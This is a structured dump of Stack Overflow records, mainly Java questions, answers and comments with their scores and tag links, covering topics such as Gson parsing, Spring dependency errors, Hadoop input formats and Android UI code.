has body: You can try below code to convert your json string to Pojo object with required fields using Gson library. Gson gson = new Gson(); JsonArray jsonArray = gson.fromJson (jsonString, JsonElement.class).getAsJsonArray(); // Convert the Json string to JsonArray JsonObject jsonObj = jsonArray.get(0).getAsJsonObject(); //Get the first element of array and convert it to Json object Pojo pojo = gson.fromJson(jsonObj.get("data").toString(), Pojo.class); //Get the data property from json object and convert it to Pojo object or you can define your nested Pojo class to parse it. class Pojo { private String item1; private String item2; //Setters and Getters } class Data { private Pojo data; //Setters and Getters } ArrayList&lt;Data&gt; yourArray = new Gson().fromJson(jsonString, new TypeToken&lt;List&lt;Data&gt;&gt;(){}.getType()); EDIT : Try below code to get value1 and value2 using Retrofit. class Pojo { private String item1; private String item2; //Setters and Getters } class Data { private Pojo data; //Setters and Getters } class MyData { private ArrayList&lt;Data&gt; dataList; //Setters and Getters } IService service = restAdapter.create(IService.class); MyData data = service.getData(); ArrayList&lt;Data&gt; list = data.getDataList(); // Retrive arraylist from MyData Data obj = list.get(0); // Get first element from arraylist Pojo pojo = obj.getData(); // Get pojo from Data Log.e("pojo", pojo.item1 + ", " + pojo.item2);
type: AcceptedAnswer
type: Answer
has comment: http://stackoverflow.com/comment/33776021
upvote count: 4
downvote count: 0
answers question: http://stackoverflow.com/q/22215794
has comment: http://stackoverflow.com/comment/33776330
accepted answer of: http://stackoverflow.com/q/22215794
has comment: http://stackoverflow.com/comment/33762136

http://stackoverflow.com/comment/33711133
type: AnswerComment
comment on: http://stackoverflow.com/a/22205272
type: Comment
has text: And it lacks a level as well: to get something equivalent to the question would be a `List<List<ArrayList<Character>>>`
score: 1

http://stackoverflow.com/q/22169378
downvote count: 0
answer count: 1
favorite count: 0
tagged with: powermock
type: UnansweredQuestion
has title: Mocking private static method in a final (utility) class
has answer: http://stackoverflow.com/a/22170599
score: 1
tagged with: java
tagged with: utility-method
upvote count: 1
tagged with: unit-testing
type: Question
has body: Is there a way to test the following class, mocking the private method getMessage() ? I've tried with jUnit + Mockito + PowerMock but I could not find a way (without modifying source code or doing reflection changes). Any idea ? public final class One { public static String met1() { return getMessage(); } private static String getMessage() { return "ciao"; } private One() { // Empty } }
tagged with: mockito

http://stackoverflow.com/comment/33830993
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22271311
score: 0
has text: Maybe it adds some padding to the result... can you give HEX of the different results (from the java code, and C#).

http://stackoverflow.com/a/22208458
has comment: http://stackoverflow.com/comment/33716954
has body: In other words , can I put in android.R.layout.simple_dropdown_item_1line , my own layout? This is exactly what you have to do. Define a new layout with the desired output for each row, for instance, call it my_custom_dropdown_list.xml: <?xml version="1.0" encoding="utf-8"?> <ImageView ... /> <TextView ... /> This layout would have one ImageView followed by a TextView in each row. When you declare your AutoCompleteTextView you just needed to do something like this: final YourCustomArrayAdapter customAdapter = new YourCustomArrayAdapter(context, R.layout.my_custom_dropdown_list, R.id.your_edittext_id, array_with_initial_values); final AutoCompleteTextView> myACTV = (AutoCompleteTextView) findViewById(R.id.your_id)); myACTV.setAdapter(customAdapter);
has comment: http://stackoverflow.com/comment/33716891
score: 0
answers question: http://stackoverflow.com/q/22208061
type: Answer

http://stackoverflow.com/a/22312891
type: Answer
upvote count: 1
has comment: http://stackoverflow.com/comment/33906139
downvote count: 1
has body: You can use the Collections class, with the shuffle method. The documentation is available here. Example int[] values = {1,2,3,4,5}; List&lt;Integer&gt; valuesList = Arrays.asList(values); Collections.shuffle(valuesList); // valuesList is shuffled.
has comment: http://stackoverflow.com/comment/33905879
has comment: http://stackoverflow.com/comment/33905646
has comment: http://stackoverflow.com/comment/33905978
has comment: http://stackoverflow.com/comment/33906236
score: 0
answers question: http://stackoverflow.com/q/22312827
has comment: http://stackoverflow.com/comment/33906101

http://stackoverflow.com/comment/33907142
type: QuestionComment
comment on: http://stackoverflow.com/q/22313551
type: Comment
has text: why not use Spring's `resources` tag?
score: 0

http://stackoverflow.com/comment/33805323
has text: @EvgeniyKiselev: Well, hopefully now you can :) In future, I would add some indication of the context to the question. Not a big problem in this case, but it would generally be helpful.
comment on: http://stackoverflow.com/a/22254984
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/33787433
has text: String[] does not provide this, `Arrays` is utility class which provides the `copyOf` function
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22247557

http://stackoverflow.com/comment/33898995
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/22309224
has text: A function is recursive if it calls itself..for one to understand recursion, one must understand recursion.
type: Comment

http://stackoverflow.com/comment/33812011
type: Comment
comment on: http://stackoverflow.com/a/22260043
has text: Ok, now it works in the AVD, but in my mobile phone it keeps doing the same thing.. Any idea? Edit: I think it works in the AVD because the server is hosted in the same PC as the AVD and they share the IP..
score: 0
type: AnswerComment

http://stackoverflow.com/a/22251979
answers question: http://stackoverflow.com/q/22251505
type: Answer
has body: Solved, basically you need to enable accepting input by doing this: @Override public boolean isAcceptingInput() { return true; } Slick2D will access isAccpetingInput, if it returns yes, it will use the class as the input.
score: 1
upvote count: 1
downvote count: 0

http://stackoverflow.com/q/22298263
has title: How to Print in Console Using com.strobel.decompiler.PlainTextOutput
has body: I am using Proycon library for my application, PlainTextOutput is a class inside Proycon library, during googling I have found the code block given below.what does this means, can I print to console using this code ? com.strobel.decompiler.Decompiler.decompile( "D:\\BuildConfig.class",new com.strobel.decompiler.PlainTextOutput(new java.io.OutputStreamWriter(System.out)));
has comment: http://stackoverflow.com/comment/33901052
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33894676
has comment: http://stackoverflow.com/comment/33883734
tagged with: java
type: Question
score: 0
tagged with: printing
answer count: 1
has answer: http://stackoverflow.com/a/22307141
tagged with: console
tagged with: decompiler

http://stackoverflow.com/a/22282336
accepted answer of: http://stackoverflow.com/q/22282107
answers question: http://stackoverflow.com/q/22282107
score: 5
has body: The first stacktrace says that an exception org.springframework.beans.factory.BeanDefinitionStoreException: Unexpected exception parsing XML document from ServletContext resource [/WEB-INF/Employee-servlet.xml] was caused by the exception: java.lang.NoClassDefFoundError: org/aopalliance/intercept/MethodInterceptor The latter's Javadoc writes: Thrown if the Java Virtual Machine or a ClassLoader instance tries to load in the definition of a class (as part of a normal method call or as part of creating a new instance using the new expression) and no definition of the class could be found. The searched-for class definition existed when the currently executing class was compiled, but the definition can no longer be found. That is, the JVM can't find the class file for the class org.aopalliance.intercept.MethodInterceptor, even though that class is used by Spring. The most likely cause is that the JAR file containing that class file is not part of the class path, because you haven't added it to the libraries of your eclipse project. Update The Spring Framework Reference Manual has a section on dependency management, but their description assumes you use a dependency management tool such as Maven, Gradle, or Ivy. I therefore recommend you use such a tool. It's not that hard (Maven is supported by Eclipse out of the box, you just need to use the "New Maven Project" wizard rather than the "New Java Project" wizard to create the project), and ensures that you have all dependencies Spring needs.
type: AcceptedAnswer
upvote count: 5
type: Answer
has comment: http://stackoverflow.com/comment/33850569
downvote count: 0

http://stackoverflow.com/a/22689830
answers question: http://stackoverflow.com/q/22172417
type: Answer
has body: It is unfortunately possible, in practical terms. The existing Java versions are enabled / disabled in the Java configuration pane: I just have one version here, but I could have several, including a vulnerable one. This vulnerable version could then in turn be called with java_version.
score: 0
accepted answer of: http://stackoverflow.com/q/22172417
type: AcceptedAnswer

http://stackoverflow.com/q/22233908
score: 3
has title: Using custom inputSplit and/or recordReader classes for reading JSON
tagged with: java
tagged with: http://stackoverflow.com/tag/json
tagged with: hadoop
downvote count: 0
has comment: http://stackoverflow.com/comment/33766443
has body: In my hadoop class they are wanting us to learn how to write/configure custom input format classes to handle data that isn't simply one record per line (like TextInputFormat). The data is JSON data from the Twitter API, so it is basically a list of small JSON objects each representing tweets. [ { "text":"tweet string", ...more... }, { .... }, ] The lab spec suggests focusing on writing a custom recordReader class that manually parses JSON in the given InputSplit, using something like a stack to keep track of opening/closing braces. Frankly this seems idiotic to me, I should not have to reinvent the wheel of parsing JSON... that's the advantage to using a standard data format. Instead I was hoping to come up with a better solution using an existing JSON parser like json-simple. It seems I should be able to make a custom InputSplit class that splits the list of JSON objects into smaller sublists, and then the custom recordReader would also use the JSON parser to get each JSON object individually. Is this a proper approach? Should I be customizing an InputSplit? Is there a better way to make a large JSON text consumable by a Hadoop MapReduce job?
favorite count: 0
answer count: 0
upvote count: 3
type: UnansweredQuestion
type: Question

http://stackoverflow.com/a/22180155
answers question: http://stackoverflow.com/q/22179948
has body: Delete the "static" in class User before the variables username and password, and you'll probably be ok. Or, this should work: class User { String username, password; public User(String u, String p) { username = u; password = p; } } //Code in the other class Scanner s = new Scanner(new File("user_pass.txt")); while (scanner.hasNext()) userList.add(new User(s.next(), s.next())); s.close(); }
score: 0
type: Answer

http://stackoverflow.com/a/22315326
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/34633546
accepted answer of: http://stackoverflow.com/q/22312966
type: Answer
score: 2
upvote count: 2
has body: Call run = new Thread(this); run.start(); In private void jToggleButton1ActionPerformed(java.awt.event.ActionEvent evt) { run = new Thread(this); run.start(); } And RUN method should be: public void run(){ gg.frameGen(); //... serverpc.validate(command.getText()); String commandMessage = command.getText(); serverSend.run(commandMessage); }
answers question: http://stackoverflow.com/q/22312966

http://stackoverflow.com/q/22269081
answer count: 1
tagged with: polymorphism
favorite count: 0
downvote count: 0
type: Question
has body: I'm writing a java blackjack game, which includes input from the user according to a menu. Right now I'm using a switch-case statement to handle the user choice, but everywhere I look people suggest not to use switch-case statements. I wanted to use an enum class with the variables: SPLIT, HIT, STAND, DOUBLE According to the user's input (1-4) I want to invoke the appropriate method from the manager class that runs the game. Is it possible? Thanks in advance
type: AnsweredQuestion
tagged with: enums
score: 1
accepted answer: http://stackoverflow.com/a/22269120
tagged with: java
has title: Using enum class to handle user choice (polymorphic)
upvote count: 1
has answer: http://stackoverflow.com/a/22269120

http://stackoverflow.com/q/22208095
answer count: 1
downvote count: 0
tagged with: sql-server
tagged with: postgresql
has comment: http://stackoverflow.com/comment/33749251
accepted answer: http://stackoverflow.com/a/22208261
tagged with: jdbc
has comment: http://stackoverflow.com/comment/33751074
has comment: http://stackoverflow.com/comment/33751472
favorite count: 0
has comment: http://stackoverflow.com/comment/33740175
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/33749081
has body: We have a java database abstraction that does a number of inserts for us. At runtime we'll know the table name, the column names to insert and the values. From that we generate a prepared statement and do the insert. In sql server land we would tack on select id = @@identity to the end of the generated sql to get the newly generated id returned by the query. Now that we're migrating to postgres this no longer works. It's my understanding that in postgres you can do , insert into foo(a, b) values('a', 'b') returning ID Our problem is that at runtime we don't know the name of the ID column nor do we know the name of the sequence. Is there any way to generically get the value of the newly inserted sequence without knowing the name of the sequence or the name of the column?
has comment: http://stackoverflow.com/comment/33751605
tagged with: postgresql-9.2
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33740403
linked to: http://stackoverflow.com/q/241003
has comment: http://stackoverflow.com/comment/33749413
tagged with: java
has answer: http://stackoverflow.com/a/22208261
type: Question
has comment: http://stackoverflow.com/comment/33884379
has title: Postgresql, get generated sequence after insert with JDBC

http://stackoverflow.com/a/50010775
type: Answer
upvote count: 0
has body: See if this helps: Try parseInt, after converting the cell's value to string using toString. Cell cell=row.getCell(n); First, convert cell's value to String using toString() String cell_value = cell.toString() Use parseInt to convert the same into integer: int waitTime = Integer.parseInt(cell_value); Now test whether the parseInt has done it's job or not. System.out.print(waitTime+1);
answers question: http://stackoverflow.com/q/22221700
score: -1
downvote count: 1

http://stackoverflow.com/q/22297112
favorite count: 0
has comment: http://stackoverflow.com/comment/33877439
has comment: http://stackoverflow.com/comment/33878063
has title: java.lang.ClassNotFoundException: org.apache.commons.dbcp.BasicDataSource
score: 9
type: UnansweredQuestion
tagged with: maven
tagged with: spring
tagged with: spring-mvc
has comment: http://stackoverflow.com/comment/33876979
has comment: http://stackoverflow.com/comment/33877843
upvote count: 9
tagged with: java
has comment: http://stackoverflow.com/comment/33879704
type: Question
has comment: http://stackoverflow.com/comment/33876704
has answer: http://stackoverflow.com/a/22297303
has answer: http://stackoverflow.com/a/36806536
downvote count: 0
has answer: http://stackoverflow.com/a/22297987
answer count: 3
has comment: http://stackoverflow.com/comment/62479098
has comment: http://stackoverflow.com/comment/33877037
has body: Iam doing a project on spring MVC with maven.Iam getting an error java.lang.ClassNotFoundException: org.apache.commons.dbcp.BasicDataSource while running project.I include all the dependencies i think..below my codes.waiting for your reply WEB.xml <?xml version="1.0" encoding="UTF-8"?> AccPerSpring org.springframework.web.servlet.DispatcherServlet contextConfigLocation /WEB-INF/servlet-context.xml 1 AccPerSpring / servlet-context.xml <?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:mvc="http://www.springframework.org/schema/mvc" xmlns:beans="http://www.springframework.org/schema/beans" xmlns:context="http://www.springframework.org/schema/context" xmlns:tx="http://www.springframework.org/schema/tx" xsi:schemaLocation="http://www.springframework.org/schema/mvc http://www.springframework.org/schema/mvc/spring-mvc-3.2.xsd http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/tx http://www.springframework.org/schema/tx/spring-tx-3.2.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-3.2.xsd"> <mvc:annotation-driven /> <context:component-scan base-package="com.gerrytan.pizzashop"/> com.gerrytan.pizzashop hibernate.dialect=org.hibernate.dialect.MySQLDialect <mvc:resources mapping="/resources/**" location="/WEB-INF/resources/" /> <tx:annotation-driven transaction-manager="transactionManager"/> </beans> pom.xml 4.0.0 AccPerSpring AccPerSpring 0.0.1-SNAPSHOT war <spring.version>3.2.3.RELEASE</spring.version> <hibernate.version>4.2.2.Final</hibernate.version> org.springframework spring-context ${spring.version} org.springframework spring-webmvc ${spring.version} org.springframework spring-orm ${spring.version} org.hibernate hibernate-core ${hibernate.version} javax.servlet servlet-api 2.5 provided jstl jstl 1.2 commons-dbcp…

http://stackoverflow.com/a/22226253
has comment: http://stackoverflow.com/comment/33788312
has comment: http://stackoverflow.com/comment/125329980
answers question: http://stackoverflow.com/q/22225813
has comment: http://stackoverflow.com/comment/51909359
upvote count: 8
type: AcceptedAnswer
has body: Firstly, you're using the wrong bit of Apache Tika. If all you want to know is the file type, then you should use the Detection API (javadocs) directly, eg: TikaConfig tika = new TikaConfig(); Metadata metadata = new Metadata(); metadata.set(TikaCoreProperties.RESOURCE_NAME_KEY, filename); String mimetype = tika.getDetector().detect(stream, metadata); If you have only the tika-core jar on your classpath, then the detection above will use Mime Magic and Filename hints. That'll let it get most files, especially if they have the right extension, but it'll struggle only wrongly named "container formats" Container Formats are things like zip, ole2 etc, where one file format can hold many types (eg ods, xlsx, keynote all use .zip, .doc and .xls both use ole2). If you want to do detection that looks inside containers for more accurate results, you need to also include the tika-parsers-standard jar and its dependencies. Note that, as explained in the Javadocs, your stream needs to support mark and reset for detection to work. This is so that Tika can read the first bit of your stream, look at it to work out what your file is, then return the stream to how it was ready for other uses (eg parsing). Most streams should, but if yours doesn't, the simplest way to fix it is to wrap it in a TikaInputStream via TikaInputStream.get, which sorts all that out for you
has comment: http://stackoverflow.com/comment/49852040
has comment: http://stackoverflow.com/comment/49852743
has comment: http://stackoverflow.com/comment/33794579
type: Answer
has comment: http://stackoverflow.com/comment/33785146
has comment: http://stackoverflow.com/comment/49852172
has comment: http://stackoverflow.com/comment/51904685
score: 8
has comment: http://stackoverflow.com/comment/33781096
downvote count: 0
accepted answer of: http://stackoverflow.com/q/22225813

http://stackoverflow.com/comment/33829133
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22265984
has text: If `camel-http` is already installed with `Active` status (use `list | grep camel-http`), then you don't need to install it a second time.
type: AnswerComment

http://stackoverflow.com/q/22286864
score: 0
answer count: 1
tagged with: java
tagged with: box2d
tagged with: andengine
accepted answer: http://stackoverflow.com/a/22296758
has body: He is there a easy way to solve this problem my sprite rotation is enable , meaning he can spin , but when I'm walking on the ground and the sprite land in 90* or 180 * he walk on the side , or on the head is there a way to set it when in land the ground to spin it in the angle of the ground? Thanks
type: AnsweredQuestion
tagged with: game-engine
type: Question
tagged with: android
has comment: http://stackoverflow.com/comment/33869653
has answer: http://stackoverflow.com/a/22296758
has title: AndEngine sprite rotation on ground

http://stackoverflow.com/a/22309642
has comment: http://stackoverflow.com/comment/34323885
has comment: http://stackoverflow.com/comment/34324545
score: 1
accepted answer of: http://stackoverflow.com/q/22307648
upvote count: 1
has comment: http://stackoverflow.com/comment/33900500
answers question: http://stackoverflow.com/q/22307648
type: AcceptedAnswer
downvote count: 0
has body: Replace your code with this: private static void add(File source, JarOutputStream target) throws IOException { BufferedInputStream in = null; try { if (source.isDirectory()) { String name = source.getPath().replace("\\", File.separator); if (!name.isEmpty()) { if (!name.endsWith(File.separator)) name += File.separator; JarEntry entry = new JarEntry(name); entry.setTime(source.lastModified()); target.putNextEntry(entry); //target.closeEntry(); } for (File nestedFile: source.listFiles()) try{add(nestedFile, target);}catch(IOException e){System.out.println(e);} return; } JarEntry entry = new JarEntry(source.getPath().replace("tmp\\","").replace("\\", "/")); entry.setTime(source.lastModified()); target.putNextEntry(entry); in = new BufferedInputStream(new FileInputStream(source)); byte[] buffer = new byte[1024]; while (true) { int count = in.read(buffer); if (count == -1) break; target.write(buffer, 0, count); } target.closeEntry(); } finally { if (in != null) in.close(); } } I have varied this row: JarEntry entry = new JarEntry(source.getPath().replace("tmp\\","").replace("\\", "/"));
type: Answer

http://stackoverflow.com/q/22316954
type: Question
answer count: 1
has body: We're trying to update a BIRT report project after recreating a database. So I type the new query but when I move to the Parameters tab (or any tab), the error: The structure is floating, and its handler is invalid! pops up, and in the error log the following error is shown: Problems occurred when invoking code from plug-in: "org.eclipse.jface". Then after that nothing else works; the changes don't register (there's no asterisk near the library name in the tab), and I can't save anything. Stack trace: java.lang.RuntimeException: The structure is floating, and its handle is invalid! at org.eclipse.birt.report.model.api.MemberHandle.&lt;init&gt;(MemberHandle.java:59) at org.eclipse.birt.report.model.api.DataSetParameterHandle.getMember(DataSetParameterHandle.java:372) at org.eclipse.birt.report.model.api.StructureHandle.getProperty(StructureHandle.java:187) at org.eclipse.birt.report.model.api.DataSetParameterHandle.getPosition(DataSetParameterHandle.java:184) at org.eclipse.birt.report.model.adapter.oda.impl.DataSetParameterAdapter.getPositions(DataSetParameterAdapter.java:1431) at org.eclipse.birt.report.model.adapter.oda.impl.DataSetParameterAdapter.getDriverDefinedParameters(DataSetParameterAdapter.java:1384) at org.eclipse.birt.report.model.adapter.oda.impl.DataSetAdapter.updateDesignerValue(DataSetAdapter.java:982) at org.eclipse.birt.report.model.adapter.oda.impl.DataSetAdapter.updateDataSetHandle(DataSetAdapter.java:929) at org.eclipse.birt.report.model.adapter.oda.impl.DataSetAdapter.updateDataSetHandle(DataSetAdapter.java:410) at org.eclipse.birt.report.model.adapter.oda.impl.ModelOdaAdapter.updateDataSetHandle(ModelOdaAdapter.java:188) at org.eclipse.birt.report.model.adapter.oda.ModelOdaAdapter.updateDataSetHandle(ModelOdaAdapter.java:203) at org.eclipse.birt.report.designer.data.ui.util.DTPUtil.updateDataSetHandle(DTPUtil.java:207) at org.eclipse.birt.report.designer.data.ui.dataset.PropertyPageWrapper.canLeave(PropertyPageWrapper.java:132) at org.eclipse…
score: 0
has comment: http://stackoverflow.com/comment/33953219
has comment: http://stackoverflow.com/comment/33966913
tagged with: birt
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/31274553
has title: birt won't save data set, "the structure is invalid" error
tagged with: java
has comment: http://stackoverflow.com/comment/33924238
tagged with: eclipse

http://stackoverflow.com/a/22210829
score: 1
has comment: http://stackoverflow.com/comment/33721634
has comment: http://stackoverflow.com/comment/33721785
has comment: http://stackoverflow.com/comment/33721880
has comment: http://stackoverflow.com/comment/33721218
downvote count: 0
answers question: http://stackoverflow.com/q/22210795
has comment: http://stackoverflow.com/comment/33721943
has comment: http://stackoverflow.com/comment/33721478
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/33721302
has comment: http://stackoverflow.com/comment/33721463
type: Answer
upvote count: 1
has body: Eclipse has a feature in the Refactor... menu called Move... that does this for you. Right click the field you want to move, select the option, and type the name of the type to move the field to. This will add/remove any required import statements.
accepted answer of: http://stackoverflow.com/q/22210795
has comment: http://stackoverflow.com/comment/33721336

http://stackoverflow.com/q/22326885
type: AnsweredQuestion
downvote count: 0
has answer: http://stackoverflow.com/a/22460289
favorite count: 0
tagged with: hex
has answer: http://stackoverflow.com/a/22327003
has answer: http://stackoverflow.com/a/56903290
score: 46
tagged with: colors
type: Question
has answer: http://stackoverflow.com/a/66868354
has answer: http://stackoverflow.com/a/72416471
answer count: 8
tagged with: android
has answer: http://stackoverflow.com/a/22327076
has comment: http://stackoverflow.com/comment/33929590
has comment: http://stackoverflow.com/comment/33929497
has body: What's the Color code that Android:hint uses? By that I mean the grayish color.
has comment: http://stackoverflow.com/comment/33929753
has title: What's the Color code for Android Hint?
linked to: http://stackoverflow.com/q/44460483
tagged with: java
accepted answer: http://stackoverflow.com/a/22327003
upvote count: 46
has comment: http://stackoverflow.com/comment/33929575
has comment: http://stackoverflow.com/comment/33929545
has answer: http://stackoverflow.com/a/22327354
possible better answer: http://stackoverflow.com/a/40703049
has answer: http://stackoverflow.com/a/40703049

http://stackoverflow.com/q/22272498
tagged with: syntax
upvote count: 3
tagged with: java
has answer: http://stackoverflow.com/a/22272564
has comment: http://stackoverflow.com/comment/33832484
type: Question
has answer: http://stackoverflow.com/a/22272528
linked to: http://stackoverflow.com/q/15766015
downvote count: 0
has answer: http://stackoverflow.com/a/22272549
has body: I am aware that semicolons are required to end statements, as in this piece of code: public class Main{ public static void main(String[] args){ System.out.println("blah blah blah and stuff") } } A semicolon is required at the end of the println statement, or else the program won't compile. Recently, I accidentally placed two semicolons at the end of the println statement: System.out.println("blah blah blah and stuff");; I noticed it, so I began to place semicolons everywhere in my program public class Main{;;;;;; public static void main(String[] args){;;;;;;;; System.out.println("blah blah blah and stuff");;;;;; };;;;;; };;;;; This code compiles, prints the string, with no errors or unexpected results. I have searched about why the compiler appears to have simply ignored these semicolons, but never found anything that specifically mentions this. So, why are these semicolons not producing a syntax error?
favorite count: 0
has title: Why don't these Semicolons Produce an Error?
possible better answer: http://stackoverflow.com/a/22272528
has answer: http://stackoverflow.com/a/22272506
accepted answer: http://stackoverflow.com/a/22272506
duplicate of: http://stackoverflow.com/q/15766015
answer count: 4
type: AnsweredQuestion
score: 3

http://stackoverflow.com/a/26060805
type: Answer
has body: I faced the similar issue. I am using 23.0.2 version of android SDK. "OK" button was disabled, but then I went to the path where android SDK was installed. In my case: C:\Program Files\Android\android-sdk\ and executed AVD-Manager.exe by right clicking and selecting Run as an Administrator, and it worked like a charm.
score: 0
answers question: http://stackoverflow.com/q/22190076

image
tags question: http://stackoverflow.com/q/22267766
tags question: http://stackoverflow.com/q/22292993
tags question: http://stackoverflow.com/q/22288342
tags question: http://stackoverflow.com/q/22261162
tags question: http://stackoverflow.com/q/22179236
tags question: http://stackoverflow.com/q/22256150
tags question: http://stackoverflow.com/q/22203049
tags question: http://stackoverflow.com/q/22315401
tags question: http://stackoverflow.com/q/22236282
tags question: http://stackoverflow.com/q/22240328
tags question: http://stackoverflow.com/q/22186026
tags question: http://stackoverflow.com/q/22290228
tags question: http://stackoverflow.com/q/22254343
tags question: http://stackoverflow.com/q/22318103
tags question: http://stackoverflow.com/q/22289157
tags question: http://stackoverflow.com/q/22206488
tags question: http://stackoverflow.com/q/22261273
tags question: http://stackoverflow.com/q/22182956
tags question: http://stackoverflow.com/q/22188940
tags question: http://stackoverflow.com/q/22204200
tags question: http://stackoverflow.com/q/22269628
tag name: image
tags question: http://stackoverflow.com/q/22276047
type: Tag
tags question: http://stackoverflow.com/q/22208236
tags question: http://stackoverflow.com/q/22255074
tags question: http://stackoverflow.com/q/22265452
tags question: http://stackoverflow.com/q/22245074
tags question: http://stackoverflow.com/q/22185588

http://stackoverflow.com/a/22326833
upvote count: 1
score: 1
has body: I assume you don't want a spinner while fetching data, but rather to fill your spinner with data from the background task? Returning data from AsyncTask commonly relies on this pattern, using interface. 1) Create an interface so that you can post back your results: (This class you can either create in separate file or just declare it in either class) public interface ReturnData{ void handleReturnData(ArrayList&lt;String&gt; list); } 2) Implement the ReturnData interface in your main class: public class MyMainClass extends Activity implements ReturnData{ AsyncTask ftpTeacher = new FtpTeacher();//declare your async task @Override public void onCreate(Bundle savedInstanceState) { ftpTeacher.returnData = this; //set this class as receiver for return data //set up adapters etc, just like you do now ... } //Your new data will be returned here - update your current adapter with new list @Override void handleReturnData(ArrayList&lt;String&gt; list){ directoriesTeacher = list; //assign new data dataAdapterTeacher.notifyDataSetChanged(); //Tell adapter it has new data = forces redraw } .... } 3) In your AsyncTask class: public class FtpTeacher extends AsyncTask&lt;ArrayList&lt;String&gt;, Void, ArrayList&lt;String&gt;&gt; { private static final String TAG = "MyFTPClient"; public FTPClient mFTPClient = null; ArrayList&lt;String&gt; ftpTeacher = new ArrayList&lt;String&gt;(); public ReturnData returnData; // &lt;--- PUBLIC ... } 4) Finally, to return data: protected ArrayList&lt;String&gt;[] onPostExecute(ArrayList&lt;String&gt;... result) { returnData.handleReturnData(result); }
answers question: http://stackoverflow.com/q/22325840
downvote count: 0
type: Answer

google-app-engine
tags question: http://stackoverflow.com/q/22241098
tag name: google-app-engine
tags question: http://stackoverflow.com/q/22171454
tags question: http://stackoverflow.com/q/22256141
tags question: http://stackoverflow.com/q/22320678
type: Tag
tags question: http://stackoverflow.com/q/22279722
tags question: http://stackoverflow.com/q/22270165
tags question: http://stackoverflow.com/q/22268673
tags question: http://stackoverflow.com/q/22199729
tags question: http://stackoverflow.com/q/22302439
tags question: http://stackoverflow.com/q/22180128
tags question: http://stackoverflow.com/q/22203245
tags question: http://stackoverflow.com/q/22314425
tags question: http://stackoverflow.com/q/22307734
tags question: http://stackoverflow.com/q/22231830
tags question: http://stackoverflow.com/q/22248166
tags question: http://stackoverflow.com/q/22247618
tags question: http://stackoverflow.com/q/22236638
tags question: http://stackoverflow.com/q/22272711
tags question: http://stackoverflow.com/q/22314530
tags question: http://stackoverflow.com/q/22215640
tags question: http://stackoverflow.com/q/22196295
tags question: http://stackoverflow.com/q/22224606
tags question: http://stackoverflow.com/q/22196669
tags question: http://stackoverflow.com/q/22266753
tags question: http://stackoverflow.com/q/22293992
tags question: http://stackoverflow.com/q/22217011
tags question: http://stackoverflow.com/q/22326449
tags question: http://stackoverflow.com/q/22246630
tags question: http://stackoverflow.com/q/22181464
tags question: http://stackoverflow.com/q/22249779
tags question: http://stackoverflow.com/q/22203421
tags question: http://stackoverflow.com/q/22300795
tags question: http://stackoverflow.com/q/22312294
tags question: http://stackoverflow.com/q/22254533

http://stackoverflow.com/a/22282907
score: 1
has body: I'd advise you to break even this small problem into chunks. Write a separate method that reverses a single String. Get that working and tested. Only then should you iterate over a collection or array and apply it to each member. You'd have an easier time debugging this if you did it in smaller steps. The fact that your string reversing method was borked would have been apparent right away. You shouldn't write stuff to System.out like that from methods. public static String reverse(String s) { StringBuilder reversed = new StringBuilder(s.length()); // reverse one string here return reversed.toString(); } public static String [] reverseAll(String [] originals) { String [] reversed = new String[originals.length]; for (int i = 0; i &lt; originals.length; ++i) { reversed[i] = reverse(originals[i]); } return reversed; }
answers question: http://stackoverflow.com/q/22282845
upvote count: 1
type: Answer
downvote count: 0

http://stackoverflow.com/a/22198860
has comment: http://stackoverflow.com/comment/33698933
type: Answer
has body: I've tried your code. Seems everything works at my laptop (HP EliteBook) At first I had an error, but I found it was because I needed to run Eclipse as Admin. But I found that solution on the forum that goes with your book, I suppose. see: http://forums.oreilly.com/topic/88039-windows-regcreatekeyex-returned-error-code-5/ The only thing I noticed, is that if the loop is running, and I check other sounds, it often does not play these sounds until I click the 'start'-button again. But that's all. EDIT I've found a somewhat similar topic. Maybe it's any use to you? Java Midi in Mac OSX Broken? EDIT For refreshing the pattern, afther every selection, I would suggest a change to your code, like this: public void buildTrack() { // this will hold the instruments for each vertical column, // in other words, each tick (may have multiple instruments) int[] trackList = null; sequence.deleteTrack(track); track = sequence.createTrack(); for (int i = 0; i &lt; 16; i++) { trackList = new int[16]; int key = instruments[i]; for (int j = 0; j &lt; 16; j++ ) { JCheckBox jc = (JCheckBox) checkboxList.get(j + (16*i)); if ( jc.isSelected()) { trackList[j] = key; } else { trackList[j] = 0; } } // close inner makeTracks(trackList); } // close outer track.add(makeEvent(192,9,1,0,15)); // - so we always go to full 16 beats try { sequencer.setSequence(sequence); } catch(Exception e) {e.printStackTrace();} } // close method public void buildTrackAndStart() { try { buildTrack(); sequencer.setLoopCount(sequencer.LOOP_CONTINUOUSLY); sequencer.start(); sequencer.setTempoInBPM(120); } catch(Exception e) {e.printStackTrace();} } // close method And then you need to create a CheckBoxListener: public class MyCheckboxListener implements ActionListener { public void actionPerformed(ActionEvent a) { buildTrack(); } } Add it to your checkboxes, by adding this line: c.addActionListener(new MyCheckboxListener()); To your 'for' block, just before 'setupMidi()' like this: for (int i = 0; i &lt; 256; i++) { JC…
answers question: http://stackoverflow.com/q/22197856
score: 0

http://stackoverflow.com/comment/33699395
type: Comment
type: QuestionComment
has text: Boolean algebra allows you to simplify boolean expressions.
score: 0
comment on: http://stackoverflow.com/q/22199180

http://stackoverflow.com/q/22237012
answer count: 4
has answer: http://stackoverflow.com/a/22237048
tagged with: arrays
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/22237066
type: Question
